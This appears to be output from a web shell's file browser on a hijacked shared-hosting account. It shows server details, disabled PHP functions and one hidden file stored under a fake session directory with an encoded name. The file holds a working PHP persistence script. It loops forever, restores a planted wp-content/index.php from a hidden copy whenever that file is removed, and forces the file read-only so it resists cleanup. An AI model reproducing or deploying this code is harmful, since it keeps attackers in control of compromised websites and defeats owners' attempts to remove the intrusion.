HEX
Server: Apache
System: Linux sg241.singhost.net 2.6.32-896.16.1.lve1.4.51.el6.x86_64 #1 SMP Wed Jan 17 13:19:23 EST 2018 x86_64
User: honghock (909)
PHP: 8.0.30
Disabled: passthru,system,shell_exec,show_source,exec,popen,proc_open
Upload Files
File: //var/tmp/.PHPSESSID/.L2hvbWUvaG9uZ2hvY2svcHVibGljX2h0bWwvd3AtY29udGVudGluZGV4cGhwLWhhbmRsZXI=
<?php
        @ini_set("max_execution_time", 0);
        while (true) {
            if (!file_exists("/home/honghock/public_html/wp-content")) {
                mkdir("/home/honghock/public_html/wp-content");
            }

            if (!file_exists("/home/honghock/public_html/wp-content/index.php")) {
                $text = base64_encode(file_get_contents("/tmp/.PHPSESSID/.L2hvbWUvaG9uZ2hvY2svcHVibGljX2h0bWwvd3AtY29udGVudGluZGV4cGhwLXRleHQtZmlsZQ=="));
                file_put_contents("/home/honghock/public_html/wp-content/index.php", base64_decode($text));
            }

            if (lolcatsperm("/home/honghock/public_html/wp-content/index.php") != 0444) {
                chmod("/home/honghock/public_html/wp-content/index.php", 0444);
            }
        }

        function lolcatsperm($filename) {
            return substr(sprintf("%o", fileperms($filename)), -4);
        }